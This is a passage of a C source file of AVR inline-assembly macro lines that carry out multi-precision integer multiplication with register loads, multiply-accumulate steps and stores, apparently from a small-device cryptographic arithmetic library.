6227 "adc r23, r25 \n\t" \
6228 "st z+, r24 \n\t" \
6229 \
6230 "mul r9, r19 \n\t" \
6231 "add r22, r0 \n\t" \
6232 "adc r23, r1 \n\t" \
6233 "st z+, r22 \n\t" \
6234 "st z+, r23 \n\t" \
6235 \
6236 "sbiw r30, 46 \n\t" \
6237 "sbiw r28, 28 \n\t" \
6238 "sbiw r26, 18 \n\t" \
6239 "ld r2, x+ \n\t" \
6240 "ld r12, y+ \n\t" \
6241 "ld r3, x+ \n\t" \
6242 "ld r13, y+ \n\t" \
6243 "ld r4, x+ \n\t" \
6244 "ld r14, y+ \n\t" \
6245 "ld r5, x+ \n\t" \
6246 "ld r15, y+ \n\t" \
6247 "ld r6, x+ \n\t" \
6248 "ld r16, y+ \n\t" \
6249 "ld r7, x+ \n\t" \
6250 "ld r17, y+ \n\t" \
6251 "ld r8, x+ \n\t" \
6252 "ld r18, y+ \n\t" \
6253 "ld r9, x+ \n\t" \
6254 "ld r19, y+ \n\t" \
6255 "ld r10, x+ \n\t" \
6256 "ld r20, y+ \n\t" \
6257 "ld r11, x+ \n\t" \
6258 "ld r21, y+ \n\t" \
6259 \
6260 "ldi r23, 0 \n\t" \
6261 "mul r2, r12 \n\t" \
6262 "st z+, r0 \n\t" \
6263 "mov r22, r1 \n\t" \
6264 \
6265 "ldi r24, 0 \n\t" \
6266 "mul r2, r13 \n\t" \
6267 "add r22, r0 \n\t" \
6268 "adc r23, r1 \n\t" \
6269 "mul r3, r12 \n\t" \
6270 "add r22, r0 \n\t" \
6271 "adc r23, r1 \n\t" \
6272 "adc r24, r25 \n\t" \
6273 "st z+, r22 \n\t" \
6274 \
6275 "ldi r22, 0 \n\t" \
6276 "mul r2, r14 \n\t" \
6277 "add r23, r0 \n\t" \
6278 "adc r24, r1 \n\t" \
6279 "adc r22, r25 \n\t" \
6280 "mul r3, r13 \n\t" \
6281 "add r23, r0 \n\t" \
6282 "adc r24, r1 \n\t" \
6283 "adc r22, r25 \n\t" \
6284 "mul r4, r12 \n\t" \
6285 "add r23, r0 \n\t" \
6286 "adc r24, r1 \n\t" \
6287 "adc r22, r25 \n\t" \
6288 "st z+, r23 \n\t" \
6289 \
6290 "ldi r23, 0 \n\t" \
6291 "mul r2, r15 \n\t" \
6292 "add r24, r0 \n\t" \
6293 "adc r22, r1 \n\t" \
6294 "adc r23, r25 \n\t" \
6295 "mul r3, r14 \n\t" \
6296 "add r24, r0 \n\t" \
6297 "adc r22, r1 \n\t" \
6298 "adc r23, r25 \n\t" \
6299 "mul r4, r13 \n\t" \
6300 "add r24, r0 \n\t" \
6301 "adc r22, r1 \n\t" \
6302 "adc r23, r25 \n\t" \
6303 "mul r5, r12 \n\t" \
6304 "add r24, r0 \n\t" \
6305 "adc r22, r1 \n\t" \
6306 "adc r23, r25 \n\t" \
6307 "st z+, r24 \n\t" \
6308 \
6309 "ldi r24, 0 \n\t" \
6310 "mul r2, r16 \n\t" \
6311 "add r22, r0 \n\t" \
6312 "adc r23, r1 \n\t" \
6313 "adc r24, r25 \n\t" \
6314 "mul r3, r15 \n\t" \
6315 "add r22, r0 \n\t" \
6316 "adc r23, r1 \n\t" \
6317 "adc r24, r25 \n\t" \
6318 "mul r4, r14 \n\t" \
6319 "add r22, r0 \n\t" \
6320 "adc r23, r1 \n\t" \
6321 "adc r24, r25 \n\t" \
6322 "mul r5, r13 \n\t" \
6323 "add r22, r0 \n\t" \
6324 "adc r23, r1 \n\t" \
6325 "adc r24, r25 \n\t" \
6326 "mul r6, r12 \n\t" \
6327 "add r22, r0 \n\t" \
6328 "adc r23, r1 \n\t" \
6329 "adc r24, r25 \n\t" \
6330 "st z+, r22 \n\t" \
6331 \
6332 "ldi r22, 0 \n\t" \
6333 "mul r2, r17 \n\t" \
6334 "add r23, r0 \n\t" \
6335 "adc r24, r1 \n\t" \
6336 "adc r22, r25 \n\t" \
6337 "mul r3, r16 \n\t" \
6338 "add r23, r0 \n\t" \
6339 "adc r24, r1 \n\t" \
6340 "adc r22, r25 \n\t" \
6341 "mul r4, r15 \n\t" \
6342 "add r23, r0 \n\t" \
6343 "adc r24, r1 \n\t" \
6344 "adc r22, r25 \n\t" \
6345 "mul r5, r14 \n\t" \
6346 "add r23, r0 \n\t" \
6347 "adc r24, r1 \n\t" \
6348 "adc r22, r25 \n\t" \
6349 "mul r6, r13 \n\t" \
6350 "add r23, r0 \n\t" \
6351 "adc r24, r1 \n\t" \
6352 "adc r22, r25 \n\t" \
6353 "mul r7, r12 \n\t" \
6354 "add r23, r0 \n\t" \
6355 "adc r24, r1 \n\t" \
6356 "adc r22, r25 \n\t" \
6357 "st z+, r23 \n\t" \
6358 \
6359 "ldi r23, 0 \n\t" \
6360 "mul r2, r18 \n\t" \
6361 "add r24, r0 \n\t" \
6362 "adc r22, r1 \n\t" \
6363 "adc r23, r25 \n\t" \
6364 "mul r3, r17 \n\t" \
6365 "add r24, r0 \n\t" \
6366 "adc r22, r1 \n\t" \
6367 "adc r23, r25 \n\t" \
6368 "mul r4, r16 \n\t" \
6369 "add r24, r0 \n\t" \
6370 "adc r22, r1 \n\t" \
6371 "adc r23, r25 \n\t" \
6372 "mul r5, r15 \n\t" \
6373 "add r24, r0 \n\t" \
6374 "adc r22, r1 \n\t" \
6375 "adc r23, r25 \n\t" \
6376 "mul r6, r14 \n\t" \
6377 "add r24, r0 \n\t" \
6378 "adc r22, r1 \n\t" \
6379 "adc r23, r25 \n\t" \
6380 "mul r7, r13 \n\t" \
6381 "add r24, r0 \n\t" \
6382 "adc r22, r1 \n\t" \
6383 "adc r23, r25 \n\t" \
6384 "mul r8, r12 \n\t" \
6385 "add r24, r0 \n\t" \
6386 "adc r22, r1 \n\t" \
6387 "adc r23, r25 \n\t" \
6388 "st z+, r24 \n\t" \
6389 \
6390 "ldi r24, 0 \n\t" \
6391 "mul r2, r19 \n\t" \
6392 "add r22, r0 \n\t" \
6393 "adc r23, r1 \n\t" \
6394 "adc r24, r25 \n\t" \
6395 "mul r3, r18 \n\t" \
6396 "add r22, r0 \n\t" \
6397 "adc r23, r1 \n\t" \
6398 "adc r24, r25 \n\t" \
6399 "mul r4, r17 \n\t" \
6400 "add r22, r0 \n\t" \
6401 "adc r23, r1 \n\t" \
6402 "adc r24, r25 \n\t" \
6403 "mul r5, r16 \n\t" \
6404 "add r22, r0 \n\t" \
6405 "adc r23, r1 \n\t" \
6406 "adc r24, r25 \n\t" \
6407 "mul r6, r15 \n\t" \
6408 "add r22, r0 \n\t" \
6409 "adc r23, r1 \n\t" \
6410 "adc r24, r25 \n\t" \
6411 "mul r7, r14 \n\t" \
6412 "add r22, r0 \n\t" \
6413 "adc r23, r1 \n\t" \
6414 "adc r24, r25 \n\t" \
6415 "mul r8, r13 \n\t" \
6416 "add r22, r0 \n\t" \
6417 "adc r23, r1 \n\t" \
6418 "adc r24, r25 \n\t" \
6419 "mul r9, r12 \n\t" \
6420 "add r22, r0 \n\t" \
6421 "adc r23, r1 \n\t" \
6422 "adc r24, r25 \n\t" \
6423 "st z+, r22 \n\t" \
6424 \
6425 "ldi r22, 0 \n\t" \
6426 "mul r2, r20 \n\t" \
6427 "add r23, r0 \n\t" \
6428 "adc r24, r1 \n\t" \
6429 "adc r22, r25 \n\t" \
6430 "mul r3, r19 \n\t" \
6431 "add r23, r0 \n\t" \
6432 "adc r24, r1 \n\t" \
6433 "adc r22, r25 \n\t" \
6434 "mul r4, r18 \n\t" \
6435 "add r23, r0 \n\t" \
6436 "adc r24, r1 \n\t" \
6437 "adc r22, r25 \n\t" \
6438 "mul r5, r17 \n\t" \
6439 "add r23, r0 \n\t" \
6440 "adc r24, r1 \n\t" \
6441 "adc r22, r25 \n\t" \
6442 "mul r6, r16 \n\t" \
6443 "add r23, r0 \n\t" \
6444 "adc r24, r1 \n\t" \
6445 "adc r22, r25 \n\t" \
6446 "mul r7, r15 \n\t" \
6447 "add r23, r0 \n\t" \
6448 "adc r24, r1 \n\t" \
6449 "adc r22, r25 \n\t" \
6450 "mul r8, r14 \n\t" \
6451 "add r23, r0 \n\t" \
6452 "adc r24, r1 \n\t" \
6453 "adc r22, r25 \n\t" \
6454 "mul r9, r13 \n\t" \
6455 "add r23, r0 \n\t" \
6456 "adc r24, r1 \n\t" \
6457 "adc r22, r25 \n\t" \
6458 "mul r10, r12 \n\t" \
6459 "add r23, r0 \n\t" \
6460 "adc r24, r1 \n\t" \
6461 "adc r22, r25 \n\t" \
6462 "st z+, r23 \n\t" \
6463 \
6464 "ldi r23, 0 \n\t" \
6465 "mul r2, r21 \n\t" \
6466 "add r24, r0 \n\t" \
6467 "adc r22, r1 \n\t" \
6468 "adc r23, r25 \n\t" \
6469 "mul r3, r20 \n\t" \
6470 "add r24, r0 \n\t" \
6471 "adc r22, r1 \n\t" \
6472 "adc r23, r25 \n\t" \
6473 "mul r4, r19 \n\t" \
6474 "add r24, r0 \n\t" \
6475 "adc r22, r1 \n\t" \
6476 "adc r23, r25 \n\t" \
6477 "mul r5, r18 \n\t" \
6478 "add r24, r0 \n\t" \
6479 "adc r22, r1 \n\t" \
6480 "adc r23, r25 \n\t" \
6481 "mul r6, r17 \n\t" \
6482 "add r24, r0 \n\t" \
6483 "adc r22, r1 \n\t" \
6484 "adc r23, r25 \n\t" \
6485 "mul r7, r16 \n\t" \
6486 "add r24, r0 \n\t" \
6487 "adc r22, r1 \n\t" \
6488 "adc r23, r25 \n\t" \
6489 "mul r8, r15 \n\t" \
6490 "add r24, r0 \n\t" \
6491 "adc r22, r1 \n\t" \
6492 "adc r23, r25 \n\t" \
6493 "mul r9, r14 \n\t" \
6494 "add r24, r0 \n\t" \
6495 "adc r22, r1 \n\t" \
6496 "adc r23, r25 \n\t" \
6497 "mul r10, r13 \n\t" \
6498 "add r24, r0 \n\t" \
6499 "adc r22, r1 \n\t" \
6500 "adc r23, r25 \n\t" \
6501 "mul r11, r12 \n\t" \
6502 "add r24, r0 \n\t" \
6503 "adc r22, r1 \n\t" \
6504 "adc r23, r25 \n\t" \
6505 "st z+, r24 \n\t" \
6506 \
6507 "ld r2, x+ \n\t" \
6508 "ldi r24, 0 \n\t" \
6509 "mul r3, r21 \n\t" \
6510 "add r22, r0 \n\t" \
6511 "adc r23, r1 \n\t" \
6512 "adc r24, r25 \n\t" \
6513 "mul r4, r20 \n\t" \
6514 "add r22, r0 \n\t" \
6515 "adc r23, r1 \n\t" \
6516 "adc r24, r25 \n\t" \
6517 "mul r5, r19 \n\t" \
6518 "add r22, r0 \n\t" \
6519 "adc r23, r1 \n\t" \
6520 "adc r24, r25 \n\t" \
6521 "mul r6, r18 \n\t" \
6522 "add r22, r0 \n\t" \
6523 "adc r23, r1 \n\t" \
6524 "adc r24, r25 \n\t" \
6525 "mul r7, r17 \n\t" \
6526 "add r22, r0 \n\t" \
6527 "adc r23, r1 \n\t" \
6528 "adc r24, r25 \n\t" \
6529 "mul r8, r16 \n\t" \
6530 "add r22, r0 \n\t" \
6531 "adc r23, r1 \n\t" \
6532 "adc r24, r25 \n\t" \
6533 "mul r9, r15 \n\t" \
6534 "add r22, r0 \n\t" \
6535 "adc r23, r1 \n\t" \
6536 "adc r24, r25 \n\t" \
6537 "mul r10, r14 \n\t" \
6538 "add r22, r0 \n\t" \
6539 "adc r23, r1 \n\t" \
6540 "adc r24, r25 \n\t" \
6541 "mul r11, r13 \n\t" \
6542 "add r22, r0 \n\t" \
6543 "adc r23, r1 \n\t" \
6544 "adc r24, r25 \n\t" \
6545 "mul r2, r12 \n\t" \
6546 "add r22, r0 \n\t" \
6547 "adc r23, r1 \n\t" \
6548 "adc r24, r25 \n\t" \
6549 "ld r0, z \n\t" \
6550 "add r22, r0 \n\t" \
6551 "adc r23, r25 \n\t" \
6552 "adc r24, r25 \n\t" \
6553 "st z+, r22 \n\t" \
6554 \
6555 "ld r3, x+ \n\t" \
6556 "ldi r22, 0 \n\t" \
6557 "mul r4, r21 \n\t" \
6558 "add r23, r0 \n\t" \
6559 "adc r24, r1 \n\t" \
6560 "adc r22, r25 \n\t" \
6561 "mul r5, r20 \n\t" \
6562 "add r23, r0 \n\t" \
6563 "adc r24, r1 \n\t" \
6564 "adc r22, r25 \n\t" \
6565 "mul r6, r19 \n\t" \
6566 "add r23, r0 \n\t" \
6567 "adc r24, r1 \n\t" \
6568 "adc r22, r25 \n\t" \
6569 "mul r7, r18 \n\t" \
6570 "add r23, r0 \n\t" \
6571 "adc r24, r1 \n\t" \
6572 "adc r22, r25 \n\t" \
6573 "mul r8, r17 \n\t" \
6574 "add r23, r0 \n\t" \
6575 "adc r24, r1 \n\t" \
6576 "adc r22, r25 \n\t" \
6577 "mul r9, r16 \n\t" \
6578 "add r23, r0 \n\t" \
6579 "adc r24, r1 \n\t" \
6580 "adc r22, r25 \n\t" \
6581 "mul r10, r15 \n\t" \
6582 "add r23, r0 \n\t" \
6583 "adc r24, r1 \n\t" \
6584 "adc r22, r25 \n\t" \
6585 "mul r11, r14 \n\t" \
6586 "add r23, r0 \n\t" \
6587 "adc r24, r1 \n\t" \
6588 "adc r22, r25 \n\t" \
6589 "mul r2, r13 \n\t" \
6590 "add r23, r0 \n\t" \
6591 "adc r24, r1 \n\t" \
6592 "adc r22, r25 \n\t" \
6593 "mul r3, r12 \n\t" \
6594 "add r23, r0 \n\t" \
6595 "adc r24, r1 \n\t" \
6596 "adc r22, r25 \n\t" \
6597 "ld r0, z \n\t" \
6598 "add r23, r0 \n\t" \
6599 "adc r24, r25 \n\t" \
6600 "adc r22, r25 \n\t" \
6601 "st z+, r23 \n\t" \
6602 \
6603 "ld r4, x+ \n\t" \
6604 "ldi r23, 0 \n\t" \
6605 "mul r5, r21 \n\t" \
6606 "add r24, r0 \n\t" \
6607 "adc r22, r1 \n\t" \
6608 "adc r23, r25 \n\t" \
6609 "mul r6, r20 \n\t" \
6610 "add r24, r0 \n\t" \
6611 "adc r22, r1 \n\t" \
6612 "adc r23, r25 \n\t" \
6613 "mul r7, r19 \n\t" \
6614 "add r24, r0 \n\t" \
6615 "adc r22, r1 \n\t" \
6616 "adc r23, r25 \n\t" \
6617 "mul r8, r18 \n\t" \
6618 "add r24, r0 \n\t" \
6619 "adc r22, r1 \n\t" \
6620 "adc r23, r25 \n\t" \
6621 "mul r9, r17 \n\t" \
6622 "add r24, r0 \n\t" \
6623 "adc r22, r1 \n\t" \
6624 "adc r23, r25 \n\t" \
6625 "mul r10, r16 \n\t" \
6626 "add r24, r0 \n\t" \
6627 "adc r22, r1 \n\t" \
6628 "adc r23, r25 \n\t" \
6629 "mul r11, r15 \n\t" \
6630 "add r24, r0 \n\t" \
6631 "adc r22, r1 \n\t" \
6632 "adc r23, r25 \n\t" \
6633 "mul r2, r14 \n\t" \
6634 "add r24, r0 \n\t" \
6635 "adc r22, r1 \n\t" \
6636 "adc r23, r25 \n\t" \
6637 "mul r3, r13 \n\t" \
6638 "add r24, r0 \n\t" \
6639 "adc r22, r1 \n\t" \
6640 "adc r23, r25 \n\t" \
6641 "mul r4, r12 \n\t" \
6642 "add r24, r0 \n\t" \
6643 "adc r22, r1 \n\t" \
6644 "adc r23, r25 \n\t" \
6645 "ld r0, z \n\t" \
6646 "add r24, r0 \n\t" \
6647 "adc r22, r25 \n\t" \
6648 "adc r23, r25 \n\t" \
6649 "st z+, r24 \n\t" \
6650 \
6651 "ld r5, x+ \n\t" \
6652 "ldi r24, 0 \n\t" \
6653 "mul r6, r21 \n\t" \
6654 "add r22, r0 \n\t" \
6655 "adc r23, r1 \n\t" \
6656 "adc r24, r25 \n\t" \
6657 "mul r7, r20 \n\t" \
6658 "add r22, r0 \n\t" \
6659 "adc r23, r1 \n\t" \
6660 "adc r24, r25 \n\t" \
6661 "mul r8, r19 \n\t" \
6662 "add r22, r0 \n\t" \
6663 "adc r23, r1 \n\t" \
6664 "adc r24, r25 \n\t" \
6665 "mul r9, r18 \n\t" \
6666 "add r22, r0 \n\t" \
6667 "adc r23, r1 \n\t" \
6668 "adc r24, r25 \n\t" \
6669 "mul r10, r17 \n\t" \
6670 "add r22, r0 \n\t" \
6671 "adc r23, r1 \n\t" \
6672 "adc r24, r25 \n\t" \
6673 "mul r11, r16 \n\t" \
6674 "add r22, r0 \n\t" \
6675 "adc r23, r1 \n\t" \
6676 "adc r24, r25 \n\t" \
6677 "mul r2, r15 \n\t" \
6678 "add r22, r0 \n\t" \
6679 "adc r23, r1 \n\t" \
6680 "adc r24, r25 \n\t" \
6681 "mul r3, r14 \n\t" \
6682 "add r22, r0 \n\t" \
6683 "adc r23, r1 \n\t" \
6684 "adc r24, r25 \n\t" \
6685 "mul r4, r13 \n\t" \
6686 "add r22, r0 \n\t" \
6687 "adc r23, r1 \n\t" \
6688 "adc r24, r25 \n\t" \
6689 "mul r5, r12 \n\t" \
6690 "add r22, r0 \n\t" \
6691 "adc r23, r1 \n\t" \
6692 "adc r24, r25 \n\t" \
6693 "ld r0, z \n\t" \
6694 "add r22, r0 \n\t" \
6695 "adc r23, r25 \n\t" \
6696 "adc r24, r25 \n\t" \
6697 "st z+, r22 \n\t" \
6698 \
6699 "ld r6, x+ \n\t" \
6700 "ldi r22, 0 \n\t" \
6701 "mul r7, r21 \n\t" \
6702 "add r23, r0 \n\t" \
6703 "adc r24, r1 \n\t" \
6704 "adc r22, r25 \n\t" \
6705 "mul r8, r20 \n\t" \
6706 "add r23, r0 \n\t" \
6707 "adc r24, r1 \n\t" \
6708 "adc r22, r25 \n\t" \
6709 "mul r9, r19 \n\t" \
6710 "add r23, r0 \n\t" \
6711 "adc r24, r1 \n\t" \
6712 "adc r22, r25 \n\t" \
6713 "mul r10, r18 \n\t" \
6714 "add r23, r0 \n\t" \
6715 "adc r24, r1 \n\t" \
6716 "adc r22, r25 \n\t" \
6717 "mul r11, r17 \n\t" \
6718 "add r23, r0 \n\t" \
6719 "adc r24, r1 \n\t" \
6720 "adc r22, r25 \n\t" \
6721 "mul r2, r16 \n\t" \
6722 "add r23, r0 \n\t" \
6723 "adc r24, r1 \n\t" \
6724 "adc r22, r25 \n\t" \
6725 "mul r3, r15 \n\t" \
6726 "add r23, r0 \n\t" \
6727 "adc r24, r1 \n\t" \
6728 "adc r22, r25 \n\t" \
6729 "mul r4, r14 \n\t" \
6730 "add r23, r0 \n\t" \
6731 "adc r24, r1 \n\t" \
6732 "adc r22, r25 \n\t" \
6733 "mul r5, r13 \n\t" \
6734 "add r23, r0 \n\t" \
6735 "adc r24, r1 \n\t" \
6736 "adc r22, r25 \n\t" \
6737 "mul r6, r12 \n\t" \
6738 "add r23, r0 \n\t" \
6739 "adc r24, r1 \n\t" \
6740 "adc r22, r25 \n\t" \
6741 "ld r0, z \n\t" \
6742 "add r23, r0 \n\t" \
6743 "adc r24, r25 \n\t" \
6744 "adc r22, r25 \n\t" \
6745 "st z+, r23 \n\t" \
6746 \
6747 "ld r7, x+ \n\t" \
6748 "ldi r23, 0 \n\t" \
6749 "mul r8, r21 \n\t" \
6750 "add r24, r0 \n\t" \
6751 "adc r22, r1 \n\t" \
6752 "adc r23, r25 \n\t" \
6753 "mul r9, r20 \n\t" \
6754 "add r24, r0 \n\t" \
6755 "adc r22, r1 \n\t" \
6756 "adc r23, r25 \n\t" \
6757 "mul r10, r19 \n\t" \
6758 "add r24, r0 \n\t" \
6759 "adc r22, r1 \n\t" \
6760 "adc r23, r25 \n\t" \
6761 "mul r11, r18 \n\t" \
6762 "add r24, r0 \n\t" \
6763 "adc r22, r1 \n\t" \
6764 "adc r23, r25 \n\t" \
6765 "mul r2, r17 \n\t" \
6766 "add r24, r0 \n\t" \
6767 "adc r22, r1 \n\t" \
6768 "adc r23, r25 \n\t" \
6769 "mul r3, r16 \n\t" \
6770 "add r24, r0 \n\t" \
6771 "adc r22, r1 \n\t" \
6772 "adc r23, r25 \n\t" \
6773 "mul r4, r15 \n\t" \
6774 "add r24, r0 \n\t" \
6775 "adc r22, r1 \n\t" \
6776 "adc r23, r25 \n\t" \
6777 "mul r5, r14 \n\t" \
6778 "add r24, r0 \n\t" \
6779 "adc r22, r1 \n\t" \
6780 "adc r23, r25 \n\t" \
6781 "mul r6, r13 \n\t" \
6782 "add r24, r0 \n\t" \
6783 "adc r22, r1 \n\t" \
6784 "adc r23, r25 \n\t" \
6785 "mul r7, r12 \n\t" \
6786 "add r24, r0 \n\t" \
6787 "adc r22, r1 \n\t" \
6788 "adc r23, r25 \n\t" \
6789 "ld r0, z \n\t" \
6790 "add r24, r0 \n\t" \
6791 "adc r22, r25 \n\t" \
6792 "adc r23, r25 \n\t" \
6793 "st z+, r24 \n\t" \
6794 \
6795 "ld r8, x+ \n\t" \
6796 "ldi r24, 0 \n\t" \
6797 "mul r9, r21 \n\t" \
6798 "add r22, r0 \n\t" \
6799 "adc r23, r1 \n\t" \
6800 "adc r24, r25 \n\t" \
6801 "mul r10, r20 \n\t" \
6802 "add r22, r0 \n\t" \
6803 "adc r23, r1 \n\t" \
6804 "adc r24, r25 \n\t" \
6805 "mul r11, r19 \n\t" \
6806 "add r22, r0 \n\t" \
6807 "adc r23, r1 \n\t" \
6808 "adc r24, r25 \n\t" \
6809 "mul r2, r18 \n\t" \
6810 "add r22, r0 \n\t" \
6811 "adc r23, r1 \n\t" \
6812 "adc r24, r25 \n\t" \
6813 "mul r3, r17 \n\t" \
6814 "add r22, r0 \n\t" \
6815 "adc r23, r1 \n\t" \
6816 "adc r24, r25 \n\t" \
6817 "mul r4, r16 \n\t" \
6818 "add r22, r0 \n\t" \
6819 "adc r23, r1 \n\t" \
6820 "adc r24, r25 \n\t" \
6821 "mul r5, r15 \n\t" \
6822 "add r22, r0 \n\t" \
6823 "adc r23, r1 \n\t" \
6824 "adc r24, r25 \n\t" \
6825 "mul r6, r14 \n\t" \
6826 "add r22, r0 \n\t" \
6827 "adc r23, r1 \n\t" \
6828 "adc r24, r25 \n\t" \
6829 "mul r7, r13 \n\t" \
6830 "add r22, r0 \n\t" \
6831 "adc r23, r1 \n\t" \
6832 "adc r24, r25 \n\t" \
6833 "mul r8, r12 \n\t" \
6834 "add r22, r0 \n\t" \
6835 "adc r23, r1 \n\t" \
6836 "adc r24, r25 \n\t" \
6837 "ld r0, z \n\t" \
6838 "add r22, r0 \n\t" \
6839 "adc r23, r25 \n\t" \
6840 "adc r24, r25 \n\t" \
6841 "st z+, r22 \n\t" \
6842 \
6843 "ld r9, x+ \n\t" \
6844 "ldi r22, 0 \n\t" \
6845 "mul r10, r21 \n\t" \
6846 "add r23, r0 \n\t" \
6847 "adc r24, r1 \n\t" \
6848 "adc r22, r25 \n\t" \
6849 "mul r11, r20 \n\t" \
6850 "add r23, r0 \n\t" \
6851 "adc r24, r1 \n\t" \
6852 "adc r22, r25 \n\t" \
6853 "mul r2, r19 \n\t" \
6854 "add r23, r0 \n\t" \
6855 "adc r24, r1 \n\t" \
6856 "adc r22, r25 \n\t" \
6857 "mul r3, r18 \n\t" \
6858 "add r23, r0 \n\t" \
6859 "adc r24, r1 \n\t" \
6860 "adc r22, r25 \n\t" \
6861 "mul r4, r17 \n\t" \
6862 "add r23, r0 \n\t" \
6863 "adc r24, r1 \n\t" \
6864 "adc r22, r25 \n\t" \
6865 "mul r5, r16 \n\t" \
6866 "add r23, r0 \n\t" \
6867 "adc r24, r1 \n\t" \
6868 "adc r22, r25 \n\t" \
6869 "mul r6, r15 \n\t" \
6870 "add r23, r0 \n\t" \
6871 "adc r24, r1 \n\t" \
6872 "adc r22, r25 \n\t" \
6873 "mul r7, r14 \n\t" \
6874 "add r23, r0 \n\t" \
6875 "adc r24, r1 \n\t" \
6876 "adc r22, r25 \n\t" \
6877 "mul r8, r13 \n\t" \
6878 "add r23, r0 \n\t" \
6879 "adc r24, r1 \n\t" \
6880 "adc r22, r25 \n\t" \
6881 "mul r9, r12 \n\t" \
6882 "add r23, r0 \n\t" \
6883 "adc r24, r1 \n\t" \
6884 "adc r22, r25 \n\t" \
6885 "ld r0, z \n\t" \
6886 "add r23, r0 \n\t" \
6887 "adc r24, r25 \n\t" \
6888 "adc r22, r25 \n\t" \
6889 "st z+, r23 \n\t" \
6890 \
6891 "ld r10, x+ \n\t" \
6892 "ldi r23, 0 \n\t" \
6893 "mul r11, r21 \n\t" \
6894 "add r24, r0 \n\t" \
6895 "adc r22, r1 \n\t" \
6896 "adc r23, r25 \n\t" \
6897 "mul r2, r20 \n\t" \
6898 "add r24, r0 \n\t" \
6899 "adc r22, r1 \n\t" \
6900 "adc r23, r25 \n\t" \
6901 "mul r3, r19 \n\t" \
6902 "add r24, r0 \n\t" \
6903 "adc r22, r1 \n\t" \
6904 "adc r23, r25 \n\t" \
6905 "mul r4, r18 \n\t" \
6906 "add r24, r0 \n\t" \
6907 "adc r22, r1 \n\t" \
6908 "adc r23, r25 \n\t" \
6909 "mul r5, r17 \n\t" \
6910 "add r24, r0 \n\t" \
6911 "adc r22, r1 \n\t" \
6912 "adc r23, r25 \n\t" \
6913 "mul r6, r16 \n\t" \
6914 "add r24, r0 \n\t" \
6915 "adc r22, r1 \n\t" \
6916 "adc r23, r25 \n\t" \
6917 "mul r7, r15 \n\t" \
6918 "add r24, r0 \n\t" \
6919 "adc r22, r1 \n\t" \
6920 "adc r23, r25 \n\t" \
6921 "mul r8, r14 \n\t" \
6922 "add r24, r0 \n\t" \
6923 "adc r22, r1 \n\t" \
6924 "adc r23, r25 \n\t" \
6925 "mul r9, r13 \n\t" \
6926 "add r24, r0 \n\t" \
6927 "adc r22, r1 \n\t" \
6928 "adc r23, r25 \n\t" \
6929 "mul r10, r12 \n\t" \
6930 "add r24, r0 \n\t" \
6931 "adc r22, r1 \n\t" \
6932 "adc r23, r25 \n\t" \
6933 "ld r0, z \n\t" \
6934 "add r24, r0 \n\t" \
6935 "adc r22, r25 \n\t" \
6936 "adc r23, r25 \n\t" \
6937 "st z+, r24 \n\t" \
6938 \
6939 "ld r11, x+ \n\t" \
6940 "ldi r24, 0 \n\t" \
6941 "mul r2, r21 \n\t" \
6942 "add r22, r0 \n\t" \
6943 "adc r23, r1 \n\t" \
6944 "adc r24, r25 \n\t" \
6945 "mul r3, r20 \n\t" \
6946 "add r22, r0 \n\t" \
6947 "adc r23, r1 \n\t" \
6948 "adc r24, r25 \n\t" \
6949 "mul r4, r19 \n\t" \
6950 "add r22, r0 \n\t" \
6951 "adc r23, r1 \n\t" \
6952 "adc r24, r25 \n\t" \
6953 "mul r5, r18 \n\t" \
6954 "add r22, r0 \n\t" \
6955 "adc r23, r1 \n\t" \
6956 "adc r24, r25 \n\t" \
6957 "mul r6, r17 \n\t" \
6958 "add r22, r0 \n\t" \
6959 "adc r23, r1 \n\t" \
6960 "adc r24, r25 \n\t" \
6961 "mul r7, r16 \n\t" \
6962 "add r22, r0 \n\t" \
6963 "adc r23, r1 \n\t" \
6964 "adc r24, r25 \n\t" \
6965 "mul r8, r15 \n\t" \
6966 "add r22, r0 \n\t" \
6967 "adc r23, r1 \n\t" \
6968 "adc r24, r25 \n\t" \
6969 "mul r9, r14 \n\t" \
6970 "add r22, r0 \n\t" \
6971 "adc r23, r1 \n\t" \
6972 "adc r24, r25 \n\t" \
6973 "mul r10, r13 \n\t" \
6974 "add r22, r0 \n\t" \
6975 "adc r23, r1 \n\t" \
6976 "adc r24, r25 \n\t" \
6977 "mul r11, r12 \n\t" \
6978 "add r22, r0 \n\t" \
6979 "adc r23, r1 \n\t" \
6980 "adc r24, r25 \n\t" \
6981 "ld r0, z \n\t" \
6982 "add r22, r0 \n\t" \
6983 "adc r23, r25 \n\t" \
6984 "adc r24, r25 \n\t" \
6985 "st z+, r22 \n\t" \
6986 \
6987 "ld r2, x+ \n\t" \
6988 "ldi r22, 0 \n\t" \
6989 "mul r3, r21 \n\t" \
6990 "add r23, r0 \n\t" \
6991 "adc r24, r1 \n\t" \
6992 "adc r22, r25 \n\t" \
6993 "mul r4, r20 \n\t" \
6994 "add r23, r0 \n\t" \
6995 "adc r24, r1 \n\t" \
6996 "adc r22, r25 \n\t" \
6997 "mul r5, r19 \n\t" \
6998 "add r23, r0 \n\t" \
6999 "adc r24, r1 \n\t" \
7000 "adc r22, r25 \n\t" \
7001 "mul r6, r18 \n\t" \
7002 "add r23, r0 \n\t" \
7003 "adc r24, r1 \n\t" \
7004 "adc r22, r25 \n\t" \
7005 "mul r7, r17 \n\t" \
7006 "add r23, r0 \n\t" \
7007 "adc r24, r1 \n\t" \
7008 "adc r22, r25 \n\t" \
7009 "mul r8, r16 \n\t" \
7010 "add r23, r0 \n\t" \
7011 "adc r24, r1 \n\t" \
7012 "adc r22, r25 \n\t" \
7013 "mul r9, r15 \n\t" \
7014 "add r23, r0 \n\t" \
7015 "adc r24, r1 \n\t" \
7016 "adc r22, r25 \n\t" \
7017 "mul r10, r14 \n\t" \
7018 "add r23, r0 \n\t" \
7019 "adc r24, r1 \n\t" \
7020 "adc r22, r25 \n\t" \
7021 "mul r11, r13 \n\t" \
7022 "add r23, r0 \n\t" \
7023 "adc r24, r1 \n\t" \
7024 "adc r22, r25 \n\t" \
7025 "mul r2, r12 \n\t" \
7026 "add r23, r0 \n\t" \
7027 "adc r24, r1 \n\t" \
7028 "adc r22, r25 \n\t" \
7029 "ld r0, z \n\t" \
7030 "add r23, r0 \n\t" \
7031 "adc r24, r25 \n\t" \
7032 "adc r22, r25 \n\t" \
7033 "st z+, r23 \n\t" \
7034 \
7035 "ld r3, x+ \n\t" \
7036 "ldi r23, 0 \n\t" \
7037 "mul r4, r21 \n\t" \
7038 "add r24, r0 \n\t" \
7039 "adc r22, r1 \n\t" \
7040 "adc r23, r25 \n\t" \
7041 "mul r5, r20 \n\t" \
7042 "add r24, r0 \n\t" \
7043 "adc r22, r1 \n\t" \
